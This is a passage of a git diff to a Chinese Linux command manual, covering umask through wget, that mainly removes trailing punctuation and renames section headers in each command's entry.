+不能直接利用umask命令创建一个可执行的文件,用户只能在其后利用chmod命令使它具有执行权限。假设执行了命令`umask u=, g=w, o=rwx`,虽然在命令行中,没有删去文件主和组用户的执行权限,但默认的文件权限还是640(即 rw-r-----),而不是750(rwxr-x---)。但是,如果创建的是目录或者通过编译程序创建的一个可执行文件,将不受此限制。在这种情况 下,会设置文件的执行权限 -也可以使用八进制数值来设置mode。由于在umask中所指定的权限是要从文件中删除的,所以,如果该文件原来的初始化权限是777,那么执行命令umask 022以后,该文件的权限将变为755:如果该文件原来的初始化权限是666,那么该文件的权限将变为644。 +也可以使用八进制数值来设置mode。由于在umask中所指定的权限是要从文件中删除的,所以,如果该文件原来的初始化权限是777,那么执行命令umask 022以后,该文件的权限将变为755:如果该文件原来的初始化权限是666,那么该文件的权限将变为644 可以使用下面的命令检查新创建文件的默认权限: @@ -50,6 +50,6 @@ umask u=, g=w, o=rwx umask -s ``` -选项-s表示以字符形式显示当前的掩码。如果直接输入umask命令,不带任何参数,那么将以八进制形式显示当前的掩码。系统默认的掩码是0022。 +选项-s表示以字符形式显示当前的掩码。如果直接输入umask命令,不带任何参数,那么将以八进制形式显示当前的掩码。系统默认的掩码是0022 diff --git a/Linux_man_cn/umount.md b/Linux_man_cn/umount.md index 332eaff..9a40057 100644 --- a/Linux_man_cn/umount.md +++ b/Linux_man_cn/umount.md @@ -5,9 +5,9 @@ umount ## 说明 -**umount命令** 用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统,不过最好还是通过挂载点卸载,以免使用绑定挂载(一个设备,多个挂载点)时产生混乱。 +**umount命令** 用于卸载已经加载的文件系统。利用设备名或挂载点都能umount文件系统,不过最好还是通过挂载点卸载,以免使用绑定挂载(一个设备,多个挂载点)时产生混乱 -### 语法 +## 选项 ``` umount(选项)(参数) @@ -16,20 +16,20 @@ umount(选项)(参数) ``` --a:卸除/etc/mtab中记录的所有文件系统; --h:显示帮助; --n:卸除时不要将信息存入/etc/mtab文件中; --r:若无法成功卸除,则尝试以只读的方式重新挂入文件系统; --t<文件系统类型>:仅卸除选项中所指定的文件系统; --v:执行时显示详细的信息; --V:显示版本信息。 +-a:卸除/etc/mtab中记录的所有文件系统 +-h:显示帮助 +-n:卸除时不要将信息存入/etc/mtab文件中 +-r:若无法成功卸除,则尝试以只读的方式重新挂入文件系统 +-t<文件系统类型>:仅卸除选项中所指定的文件系统 +-v:执行时显示详细的信息 +-V:显示版本信息 ``` ### 参数 -文件系统:指定要卸载的文件系统或者其对应的设备文件名。 +文件系统:指定要卸载的文件系统或者其对应的设备文件名 -### 实例 +## 实例 下面两条命令分别通过设备名和挂载点卸载文件系统,同时输出详细信息: @@ -62,7 +62,7 @@ lsof | grep mymount 查找mymount分区里打开的文件 bash 9341 francois cwd DIR 8,1 1024 2 /mnt/mymount ``` -从上面的输出可知,mymount分区无法卸载的原因在于,francois运行的PID为9341的bash进程。 +从上面的输出可知,mymount分区无法卸载的原因在于,francois运行的PID为9341的bash进程 对付系统文件正忙的另一种方法是执行延迟卸载: diff --git a/Linux_man_cn/unalias.md b/Linux_man_cn/unalias.md index 62d1dc8..315b6de 100644 --- a/Linux_man_cn/unalias.md +++ b/Linux_man_cn/unalias.md @@ -5,9 +5,9 @@ unalias ## 说明 -**unalias命令** 用来取消命令别名,是为shell内建命令。如果需要取消任意一个命令别名,则使用该命令别名作为指令的参数选项即可。如果使用`-a`选项,则表示取消所有已经存在的命令别名。 +**unalias命令** 用来取消命令别名,是为shell内建命令。如果需要取消任意一个命令别名,则使用该命令别名作为指令的参数选项即可。如果使用`-a`选项,则表示取消所有已经存在的命令别名 -### 语法 +## 选项 ``` unalias(选项)(参数) @@ -16,14 +16,14 @@ unalias(选项)(参数) ``` --a:取消所有命令别名。 +-a:取消所有命令别名 ``` ### 参数 -命令别名:指定要取消的命令别名。 +命令别名:指定要取消的命令别名 -### 实例 +## 实例 使用unalias命令将已经设置的命令别名"cc"取消,输入如下命令: @@ -37,6 +37,6 @@ unalias cc #取消已经设置的命令别名 cc:no input files ``` -因此,当使用该指令将命令别名取消后,将不能够再进行使用。否则,将出现错误提示。 +因此,当使用该指令将命令别名取消后,将不能够再进行使用。否则,将出现错误提示 diff --git a/Linux_man_cn/unarj.md b/Linux_man_cn/unarj.md index f30ca2d..4b41f65 100644 --- a/Linux_man_cn/unarj.md +++ b/Linux_man_cn/unarj.md @@ -5,9 +5,9 @@ unarj ## 说明 -**unarj命令** 用来解压缩由arj命令创建的压缩包。 +**unarj命令** 用来解压缩由arj命令创建的压缩包 -### 语法 +## 选项 ``` unarj(选项)(参数) @@ -16,14 +16,14 @@ unarj(选项)(参数) ``` -e:解压缩.arj文件; -l:显示压缩文件内所包含的文件; -t:检查压缩文件是否正确; -x:解压缩时保留原有的路径。 +e:解压缩.arj文件 +l:显示压缩文件内所包含的文件 +t:检查压缩文件是否正确 +x:解压缩时保留原有的路径 ``` ### 参数 -.arj压缩包:指定要解压缩的.arj压缩包。 +.arj压缩包:指定要解压缩的.arj压缩包 diff --git a/Linux_man_cn/uncompress.md b/Linux_man_cn/uncompress.md index 02344f6..09031bf 100644 --- a/Linux_man_cn/uncompress.md +++ b/Linux_man_cn/uncompress.md @@ -5,9 +5,9 @@ uncompress ## 说明 -**uncompress命令** 用来解压缩由compress命令压缩后产生的“.Z”压缩包。 +**uncompress命令** 用来解压缩由compress命令压缩后产生的“.Z”压缩包 -### 语法 +## 选项 ``` uncompress(选项)(参数) @@ -16,16 +16,16 @@ uncompress(选项)(参数) ``` --f:不提示用户,强制覆盖掉目标文件; --c:将结果送到标准输出,无文件被改变; --r:递归的操作方式。 +-f:不提示用户,强制覆盖掉目标文件 +-c:将结果送到标准输出,无文件被改变 +-r:递归的操作方式 ``` ### 参数 -文件:指定要压缩的“.Z”压缩包。 +文件:指定要压缩的“.Z”压缩包 -### 实例 +## 实例 先创建一个.Z压缩文件 diff --git a/Linux_man_cn/unexpand.md b/Linux_man_cn/unexpand.md index 948eef7..ecb7efc 100644 --- a/Linux_man_cn/unexpand.md +++ b/Linux_man_cn/unexpand.md @@ -5,9 +5,9 @@ unexpand ## 说明 -**unexpand命令** 用于将给定文件中的空白字符(space)转换为制表符(TAB),并把转换结果显示在标准输出设备(显示终端)。 +**unexpand命令** 用于将给定文件中的空白字符(space)转换为制表符(TAB),并把转换结果显示在标准输出设备(显示终端) -### 语法 +## 选项 ``` unexpand(选项)(参数) @@ -16,13 +16,13 @@ unexpand(选项)(参数) ``` --a或--all:转换文件中所有的空白字符; ---first-only:仅转换开头的空白字符; --t:指定TAB所代表的N个(N为整数)字符数,默认N值是8。 +-a或--all:转换文件中所有的空白字符 +--first-only:仅转换开头的空白字符 +-t:指定TAB所代表的N个(N为整数)字符数,默认N值是8 ``` ### 参数 -文件:指定要转换空白为TAB的文件列表。 +文件:指定要转换空白为TAB的文件列表 diff --git a/Linux_man_cn/unlink.md b/Linux_man_cn/unlink.md index 7ce05dd..01ec6d6 100644 --- a/Linux_man_cn/unlink.md +++ b/Linux_man_cn/unlink.md @@ -5,9 +5,9 @@ unlink ## 说明 -**unlink命令** 用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。 +**unlink命令** 用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件 -### 语法 +## 选项 ``` unlink(选项)(参数) @@ -16,12 +16,12 @@ unlink(选项)(参数) ``` ---help:显示帮助; ---version:显示版本号。 +--help:显示帮助 +--version:显示版本号 ``` ### 参数 -文件:指定要删除的文件。 +文件:指定要删除的文件 diff --git a/Linux_man_cn/unprotoize.md b/Linux_man_cn/unprotoize.md index a59eed0..17dc6fc 100644 --- a/Linux_man_cn/unprotoize.md +++ b/Linux_man_cn/unprotoize.md @@ -5,9 +5,9 @@ unprotoize ## 说明 -**unprotoize命令** 属于gcc套件,用于删除C语言源代码文件中的函数原型。 +**unprotoize命令** 属于gcc套件,用于删除C语言源代码文件中的函数原型 -### 语法 +## 选项 ``` unprotoize(选项)(参数) @@ -16,12 +16,12 @@ unprotoize(选项)(参数) ``` --d:设置需要转换代码的目录; --x:转换代码时排除的文件。 +-d:设置需要转换代码的目录 +-x:转换代码时排除的文件 ``` ### 参数 -文件:需要转换代码的C语言源文件。 +文件:需要转换代码的C语言源文件 diff --git a/Linux_man_cn/unset.md b/Linux_man_cn/unset.md index 599a422..2e46618 100644 --- a/Linux_man_cn/unset.md +++ b/Linux_man_cn/unset.md @@ -5,9 +5,9 @@ unset ## 说明 -**unset命令** 用于删除已定义的shell变量(包括环境变量)和shell函数。unset命令不能够删除具有只读属性的shell变量和环境变量。 +**unset命令** 用于删除已定义的shell变量(包括环境变量)和shell函数。unset命令不能够删除具有只读属性的shell变量和环境变量 -### 语法 +## 选项 ``` unset(选项)(参数) @@ -16,15 +16,15 @@ unset(选项)(参数) ``` --f:仅删除函数; --v:仅删除变量。 +-f:仅删除函数 +-v:仅删除变量 ``` ### 参数 -shell变量或函数:指定要删除的shell变量或shell函数。 +shell变量或函数:指定要删除的shell变量或shell函数 -### 实例 +## 实例 使用unset命令将前面所创建的环境变量mylove及其对应的值进行删除,输入如下命令: @@ -32,6 +32,6 @@ shell变量或函数:指定要删除的shell变量或shell函数。 unset -v mylove #删除指定的环境变量 ``` -执行以上命令后,系统将删除指定的环境变量。用户可以使用env命令和grep命令对其进行查询。已经删除的环境变量再次使用指令查询时,将出现查询不到指定环境变量的输出信息。 +执行以上命令后,系统将删除指定的环境变量。用户可以使用env命令和grep命令对其进行查询。已经删除的环境变量再次使用指令查询时,将出现查询不到指定环境变量的输出信息 diff --git a/Linux_man_cn/unzip.md b/Linux_man_cn/unzip.md index f084b58..d1ea527 100644 --- a/Linux_man_cn/unzip.md +++ b/Linux_man_cn/unzip.md @@ -5,9 +5,9 @@ unzip ## 说明 -**unzip命令** 用于解压缩由zip命令压缩的“.zip”压缩包。 +**unzip命令** 用于解压缩由zip命令压缩的“.zip”压缩包 -### 语法 +## 选项 ``` unzip(选项)(参数) @@ -16,57 +16,57 @@ unzip(选项)(参数) ``` --c:将解压缩的结果显示到屏幕上,并对字符做适当的转换; --f:更新现有的文件; --l:显示压缩文件内所包含的文件; --p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换; --t:检查压缩文件是否正确; --u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中; --v:执行时显示详细的信息; --z:仅显示压缩文件的备注文字; --a:对文本文件进行必要的字符转换; --b:不要对文本文件进行字符转换; --C:压缩文件中的文件名称区分大小写; --j:不处理压缩文件中原有的目录路径; --L:将压缩文件中的全部文件名改为小写; --M:将输出结果送到more程序处理; --n:解压缩时不要覆盖原有的文件; --o:不必先询问用户,unzip执行后覆盖原有的文件; --P<密码>:使用zip的密码选项; --q:执行时不显示任何信息; --s:将文件名中的空白字符转换为底线字符; --V:保留VMS的文件版本信息; --X:解压缩时同时回存文件原来的UID/GID; --d<目录>:指定文件解压缩后所要存储的目录; --x<文件>:指定不要处理.zip压缩文件中的哪些文件; --Z:unzip-Z等于执行zipinfo指令。 +-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换 +-f:更新现有的文件 +-l:显示压缩文件内所包含的文件 +-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换 +-t:检查压缩文件是否正确 +-u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中 +-v:执行时显示详细的信息 +-z:仅显示压缩文件的备注文字 +-a:对文本文件进行必要的字符转换 +-b:不要对文本文件进行字符转换 +-C:压缩文件中的文件名称区分大小写 +-j:不处理压缩文件中原有的目录路径 +-L:将压缩文件中的全部文件名改为小写 +-M:将输出结果送到more程序处理 +-n:解压缩时不要覆盖原有的文件 +-o:不必先询问用户,unzip执行后覆盖原有的文件 +-P<密码>:使用zip的密码选项 +-q:执行时不显示任何信息 +-s:将文件名中的空白字符转换为底线字符 +-V:保留VMS的文件版本信息 +-X:解压缩时同时回存文件原来的UID/GID +-d<目录>:指定文件解压缩后所要存储的目录 +-x<文件>:指定不要处理.zip压缩文件中的哪些文件 +-Z:unzip-Z等于执行zipinfo指令 ``` ### 参数 -压缩包:指定要解压的“.zip”压缩包。 +压缩包:指定要解压的“.zip”压缩包 -### 实例 +## 实例 -将压缩文件text.zip在当前目录下解压缩。 +将压缩文件text.zip在当前目录下解压缩 ``` unzip test.zip ``` -将压缩文件text.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。 +将压缩文件text.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件 ``` unzip -n test.zip -d /tmp ``` -查看压缩文件目录,但不解压。 +查看压缩文件目录,但不解压 ``` unzip -v test.zip ``` -将压缩文件test.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。 +将压缩文件test.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件 ``` unzip -o test.zip -d tmp/ diff --git a/Linux_man_cn/updatedb.md b/Linux_man_cn/updatedb.md index e0060cd..1dd1603 100644 --- a/Linux_man_cn/updatedb.md +++ b/Linux_man_cn/updatedb.md @@ -10,8 +10,8 @@ ## 选项 ```markdown --o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件; --U<目录>:更新指定目录的slocate数据库; +-o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件 +-U<目录>:更新指定目录的slocate数据库 -v:显示执行的详细过程 ``` diff --git a/Linux_man_cn/uptime.md b/Linux_man_cn/uptime.md index e52a807..4fd86ef 100644 --- a/Linux_man_cn/uptime.md +++ b/Linux_man_cn/uptime.md @@ -2,7 +2,7 @@ ## 说明 -**uptime命令** 能够打印系统总共运行了多长时间和系统的平均负载。uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。 +**uptime命令** 能够打印系统总共运行了多长时间和系统的平均负载。uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载 ## 选项 diff --git a/Linux_man_cn/usermod.md b/Linux_man_cn/usermod.md index 691f17e..4cece33 100644 --- a/Linux_man_cn/usermod.md +++ b/Linux_man_cn/usermod.md @@ -2,7 +2,7 @@ ## 说明 -**usermod命令** 用于修改用户的基本信息。usermod命令不允许你改变正在线上的使用者帐号名称。当usermod命令用来改变user id, +**usermod命令** 用于修改用户的基本信息。usermod命令不允许你改变正在线上的使用者帐号名称。当usermod命令用来改变user id 必须确认这名user没在电脑上执行任何程序。你需手动更改使用者的crontab档。也需手动更改使用者的at工作档。采用NIS server须在 server上更动相关的NIS设定 @@ -18,7 +18,7 @@ server上更动相关的NIS设定 -f, --inactive INACTIVE 过期 INACTIVE 天数后,设定密码为失效状态 -g, --gid GROUP 强制使用 GROUP 为新主组 -G, --groups GROUPS 新的附加组列表 GROUPS - -a, --append GROUP 将用户追加至上边 -G 中提到的附加组中, + -a, --append GROUP 将用户追加至上边 -G 中提到的附加组中 并不从其它组中删除此用户 -h, --help 显示此帮助信息并推出 -l, --login LOGIN 新的登录名称 diff --git a/Linux_man_cn/usernetctl.md b/Linux_man_cn/usernetctl.md index 8b8ab26..2486ff5 100644 --- a/Linux_man_cn/usernetctl.md +++ b/Linux_man_cn/usernetctl.md @@ -5,9 +5,9 @@ usernetctl ## 说明 -**usernetctl命令** 在用于被允许时操作指定的网络接口。 +**usernetctl命令** 在用于被允许时操作指定的网络接口 -### 语法 +## 选项 ``` usernetctl(参数) @@ -15,9 +15,9 @@ usernetctl(参数) ### 参数 -* 网络接口:被操纵的网络接口; -* up:激活网络接口; -* down:禁用网络接口; -* report:报告网络接口状态。 +* 网络接口:被操纵的网络接口 +* up:激活网络接口 +* down:禁用网络接口 +* report:报告网络接口状态 diff --git a/Linux_man_cn/users.md b/Linux_man_cn/users.md index 90ce31f..6b54b92 100644 --- a/Linux_man_cn/users.md +++ b/Linux_man_cn/users.md @@ -5,9 +5,9 @@ users ## 说明 -**users命令** 用于显示当前登录系统的所有用户的用户列表。每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。 +**users命令** 用于显示当前登录系统的所有用户的用户列表。每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数 -### 语法 +## 选项 ``` users(选项) @@ -16,11 +16,11 @@ users(选项) ``` ---help:显示命令的帮助信息; ---version:显示命令的版本信息。 +--help:显示命令的帮助信息 +--version:显示命令的版本信息 ``` -### 实例 +## 实例 ``` [root@localhost ~]# users diff --git a/Linux_man_cn/uucico.md b/Linux_man_cn/uucico.md index 11f5f0a..715ace2 100644 --- a/Linux_man_cn/uucico.md +++ b/Linux_man_cn/uucico.md @@ -1,13 +1,13 @@ uucico === -UUCP文件传输服务程序。 +UUCP文件传输服务程序 ## 说明 -**uucico命令** 命令UUCP文件传输服务程序。 uucico是用来处理uucp或uux送到队列的文件传输工具。uucico有两种工作模式:主动模式和附属模式。当在主动模式下时,uucico会调用远端主机;在附属模式下时,uucico则接受远端主机的调用。 +**uucico命令** 命令UUCP文件传输服务程序。 uucico是用来处理uucp或uux送到队列的文件传输工具。uucico有两种工作模式:主动模式和附属模式。当在主动模式下时,uucico会调用远端主机;在附属模式下时,uucico则接受远端主机的调用 -### 语法 +## 选项 ``` uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s<主机>][-S<主机>][-u<用户>][-x<类型>][--help] @@ -16,27 +16,27 @@ uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s< ``` --c或--quiet 当不执行任何工作时,不要更改记录文件的内容及更新目前的状态。 --C或--ifwork 当有工作要执行时,才调用-s或-S参数所指定主机。 --D或--nodetach 不要与控制终端机离线。 --e或--loop 在附属模式下执行,并且出现要求登入的提示画面。 --f或--force 当执行错误时,不等待任何时间即重新调用主机。 --i<类型>或--stdin<类型> 当使用到标准输入设备时,指定连接端口的类型。 --I<文件>--config<文件> 指定使用的配置文件。 --l或--prompt 出现要求登入的提示画面。 --p<连接端口号码>或-port<连接端口号码> 指定连接端口号码。 --q或--quiet 不要启动uuxqt服务程序。 --r0或--slave 以附属模式启动。 --s<主机>或--system<主机> 调用指定的主机。 --u<用户>或--login<用户> 指定登入的用户帐号,而不允许输入任意的登入帐号。 --v或--version 显示版本信息,并且结束程序。 --w或--wait 在主动模式下,当执行调用动作时,则出现要求登入的提示画面。 --x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式。 --z或--try-next 当执行不成功时,尝试下一个选择而不结束程序。 ---help 显示帮助,并且结束程序。 +-c或--quiet 当不执行任何工作时,不要更改记录文件的内容及更新目前的状态 +-C或--ifwork 当有工作要执行时,才调用-s或-S参数所指定主机 +-D或--nodetach 不要与控制终端机离线 +-e或--loop 在附属模式下执行,并且出现要求登入的提示画面 +-f或--force 当执行错误时,不等待任何时间即重新调用主机 +-i<类型>或--stdin<类型> 当使用到标准输入设备时,指定连接端口的类型 +-I<文件>--config<文件> 指定使用的配置文件 +-l或--prompt 出现要求登入的提示画面 +-p<连接端口号码>或-port<连接端口号码> 指定连接端口号码 +-q或--quiet 不要启动uuxqt服务程序 +-r0或--slave 以附属模式启动 +-s<主机>或--system<主机> 调用指定的主机 +-u<用户>或--login<用户> 指定登入的用户帐号,而不允许输入任意的登入帐号 +-v或--version 显示版本信息,并且结束程序 +-w或--wait 在主动模式下,当执行调用动作时,则出现要求登入的提示画面 +-x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式 +-z或--try-next 当执行不成功时,尝试下一个选择而不结束程序 +--help 显示帮助,并且结束程序 ``` -### 实例 +## 实例 使用主动模式启动uucico服务。在命令提示符下直接输入如下命令: @@ -44,6 +44,6 @@ uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s< uucico-r1 ``` -提示:该命令一般没有输出。 +提示:该命令一般没有输出 diff --git a/Linux_man_cn/uupick.md b/Linux_man_cn/uupick.md index db79b6c..12ca174 100644 --- a/Linux_man_cn/uupick.md +++ b/Linux_man_cn/uupick.md @@ -1,13 +1,13 @@ uupick === -命令处理传送进来的文件。 +命令处理传送进来的文件 ## 说明 -**uupick命令** 处理传送进来的文件。 当其他主机通过UUCP将文件传送进来时,可利用uupick指令取出这些文件。 +**uupick命令** 处理传送进来的文件。 当其他主机通过UUCP将文件传送进来时,可利用uupick指令取出这些文件 -### 语法 +## 选项 ``` uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help] @@ -16,10 +16,10 @@ uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help] ``` --I<配置文件>或--config<配置文件> 指定配置文件。 --s<主机>或--system<主机> 处理由指定主机传送过来的文件。 --v或--version 显示版本信息。 ---help 显示帮助。 +-I<配置文件>或--config<配置文件> 指定配置文件 +-s<主机>或--system<主机> 处理由指定主机传送过来的文件 +-v或--version 显示版本信息 +--help 显示帮助 ``` ### 例子 @@ -30,6 +30,6 @@ uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help] uupick-s localhost ``` -该命令通常没有输出。 +该命令通常没有输出 diff --git a/Linux_man_cn/vdfuse.md b/Linux_man_cn/vdfuse.md index a7b0efe..64e2503 100644 --- a/Linux_man_cn/vdfuse.md +++ b/Linux_man_cn/vdfuse.md @@ -5,11 +5,11 @@ VirtualBox软件挂载VDI分区文件工具 ## 说明 -**vdfuse命令** 是VirtualBox软件挂载VDI分区文件的一个工具,VirtualBox是一款能创建虚拟机的开源软件,vdi是它的默认磁盘格式。 +**vdfuse命令** 是VirtualBox软件挂载VDI分区文件的一个工具,VirtualBox是一款能创建虚拟机的开源软件,vdi是它的默认磁盘格式 ### 什么是VirtualBox -VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的特色,而且性能也很优异。更可喜的是,VirtualBox于数日前走向开源,成为了一个发布在GPL许可之下的自由软件。VirtualBox可以在Linux和Windows主机中运行,并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD等系列的客户操作系统。 +VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的特色,而且性能也很优异。更可喜的是,VirtualBox于数日前走向开源,成为了一个发布在GPL许可之下的自由软件。VirtualBox可以在Linux和Windows主机中运行,并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD等系列的客户操作系统 **在Ubuntu中安装vdfuse,打开终端,输入:** @@ -17,7 +17,7 @@ VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的 sudo apt-get install virtualbox-fuse ``` -### 语法 +## 选项 ``` vdfuse [options] -f image-file mountpoint @@ -37,9 +37,9 @@ vdfuse [options] -f image-file mountpoint -d debug模式 ``` -注意:必须编辑一下`/etc/fuse.confand`,去掉 "user_allow_other" 前面的注释符号(#),否则不能正确运行。 +注意:必须编辑一下`/etc/fuse.confand`,去掉 "user_allow_other" 前面的注释符号(#),否则不能正确运行 -### 实例 +## 实例 使用如下如下语句挂载.vdi文件: @@ -53,6 +53,6 @@ sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint mount /path/to/mountpoint/Partition1 /path/to/someother/mountpoint ``` -文件系统就挂载到`/path/to/someother/mountpoint`了。 +文件系统就挂载到`/path/to/someother/mountpoint`了 diff --git a/Linux_man_cn/volname.md b/Linux_man_cn/volname.md index 35da6b2..cf7633b 100644 --- a/Linux_man_cn/volname.md +++ b/Linux_man_cn/volname.md @@ -5,9 +5,9 @@ volname ## 说明 -**volname命令** 用于显示指定的“ISO-9660”格式的设备的卷名称,通常这种格式的设备为光驱。 +**volname命令** 用于显示指定的“ISO-9660”格式的设备的卷名称,通常这种格式的设备为光驱 -### 语法 +## 选项 ``` volname(参数) @@ -15,6 +15,6 @@ volname(参数) ### 参数 -设备文件名:指定要显示卷名称的设备。 +设备文件名:指定要显示卷名称的设备 diff --git a/Linux_man_cn/w.md b/Linux_man_cn/w.md index adb8db8..126aab6 100644 --- a/Linux_man_cn/w.md +++ b/Linux_man_cn/w.md @@ -2,7 +2,7 @@ ## 说明 -**w命令** 用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序。 +**w命令** 用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序 单独执行w命令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息 ## 选项 diff --git a/Linux_man_cn/wait.md b/Linux_man_cn/wait.md index aded861..b1c3ce0 100644 --- a/Linux_man_cn/wait.md +++ b/Linux_man_cn/wait.md @@ -5,9 +5,9 @@ wait ## 说明 -**wait命令** 用来等待指令的指令,直到其执行完毕后返回终端。该指令常用于shell脚本编程中,待指定的指令执行完成后,才会继续执行后面的任务。该指令等待作业时,在作业标识号前必须添加备份号"%"。 +**wait命令** 用来等待指令的指令,直到其执行完毕后返回终端。该指令常用于shell脚本编程中,待指定的指令执行完成后,才会继续执行后面的任务。该指令等待作业时,在作业标识号前必须添加备份号"%" -### 语法 +## 选项 ``` wait(参数) @@ -15,9 +15,9 @@ wait(参数) ### 参数 -进程或作业标示:指定进程号或者作业号。 +进程或作业标示:指定进程号或者作业号 -### 实例 +## 实例 使用命令wait等待作业号为1的作业完成后再返回,输入如下命令: diff --git a/Linux_man_cn/wall.md b/Linux_man_cn/wall.md index 49967b3..63d17cd 100644 --- a/Linux_man_cn/wall.md +++ b/Linux_man_cn/wall.md @@ -5,9 +5,9 @@ wall ## 说明 -**wall命令** 用于向系统当前所有打开的终端上输出信息。通过wall命令可将信息发送给每位同意接收公众信息的终端机用户,若不给予其信息内容,则wall命令会从标准输入设备读取数据,然后再把所得到的数据传送给所有终端机用户。 +**wall命令** 用于向系统当前所有打开的终端上输出信息。通过wall命令可将信息发送给每位同意接收公众信息的终端机用户,若不给予其信息内容,则wall命令会从标准输入设备读取数据,然后再把所得到的数据传送给所有终端机用户 -### 语法 +## 选项 ``` wall(参数) @@ -15,9 +15,9 @@ wall(参数) ### 参数 -消息:指定广播消息。 +消息:指定广播消息 -### 实例 +## 实例 ```sh 输入重定向,将wishes文件中内容广播到所有登陆的用户终端屏幕上 diff --git a/Linux_man_cn/watch.md b/Linux_man_cn/watch.md index 31fc7a3..82c6a73 100644 --- a/Linux_man_cn/watch.md +++ b/Linux_man_cn/watch.md @@ -39,7 +39,7 @@ watch -n 1 "df -i;df" # 监测磁盘inode和block数目变化情况 ``` FreeBSD和Linux下watch命令的不同,在Linux下,watch是周期性的执行下个程序,并全屏显示执行结果, -如:`watch -n 1 -d netstat -ant`,而在FreeBSD下的watch命令是查看其它用户的正在运行的操作, +如:`watch -n 1 -d netstat -ant`,而在FreeBSD下的watch命令是查看其它用户的正在运行的操作 watch允许你偷看其它terminal正在做什么,该命令只能让超级用户使用 ## 实例 diff --git a/Linux_man_cn/wget.md b/Linux_man_cn/wget.md index 886679f..023d85d 100644 --- a/Linux_man_cn/wget.md +++ b/Linux_man_cn/wget.md @@ -3,7 +3,7 @@ ## 说明 **wget命令** 用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原 -因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。 +因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载 这对从那些限定了链接时间的服务器上下载大文件非常有用 [wget官网](http://www.gnu.org/software/wget/) @@ -88,7 +88,7 @@ IP) --use-askpass=命令 指定用于请求用户名和密码的凭据管 如果没有提供指定命令,程序将使 WGET_ASKPASS 或 - SSH_ASKPASS 环境变量。 + SSH_ASKPASS 环境变量 --no-iri 关闭 IRI 支持 --local-encoding=ENC 使用 ENC 作为 IRI (国际化资源标 本地编码 @@ -107,8 +107,8 @@ WGET_ASKPASS 或 HTTP 选项: --http-user=用户 设置 http 用户名为 <用户> --http-password=密码 设置 http 密码为 <密码> - --no-cache 不使用服务器缓存的数据。 - --default-page=NAME 改变默认页 (通常是“index.html”)。 + --no-cache 不使用服务器缓存的数据 + --default-page=NAME 改变默认页 (通常是“index.html”) -E, --adjust-extension 以合适的扩展名保存 HTML/CSS 文档 --ignore-length 忽略头部的‘Content-Length’区域 --header=字符串 在头部插入 <字符串> @@ -116,39 +116,39 @@ HTTP 选项: --proxy-user=用户 使用 <用户> 作为代理用户名 --proxy-password=密码 使用 <密码> 作为代理密码 --referer=URL 在 HTTP 请求头包含‘Referer: URL’ - --save-headers 将 HTTP 头保存至文件。 - -U, --user-agent=代理 标识自己为 <代理> 而不是 Wget/VERSION。 - --no-http-keep-alive 禁用 HTTP keep-alive (持久连接)。 - --no-cookies 不使用 cookies。 - --load-cookies=文件 会话开始前从 <文件> 中载入 cookies。 - --save-cookies=文件 会话结束后保存 cookies 至 FILE。 - --keep-session-cookies 载入并保存会话 (非永久) cookies。 - --post-data=字符串 使用 POST 方式;把 <字串>作为数据发送。 - --post-file=文件 使用 POST 方式;发送 <文件> 内容。 - --method=HTTP方法 在请求中使用指定的 。 + --save-headers 将 HTTP 头保存至文件 + -U, --user-agent=代理 标识自己为 <代理> 而不是 Wget/VERSION + --no-http-keep-alive 禁用 HTTP keep-alive (持久连接) + --no-cookies 不使用 cookies + --load-cookies=文件 会话开始前从 <文件> 中载入 cookies + --save-cookies=文件 会话结束后保存 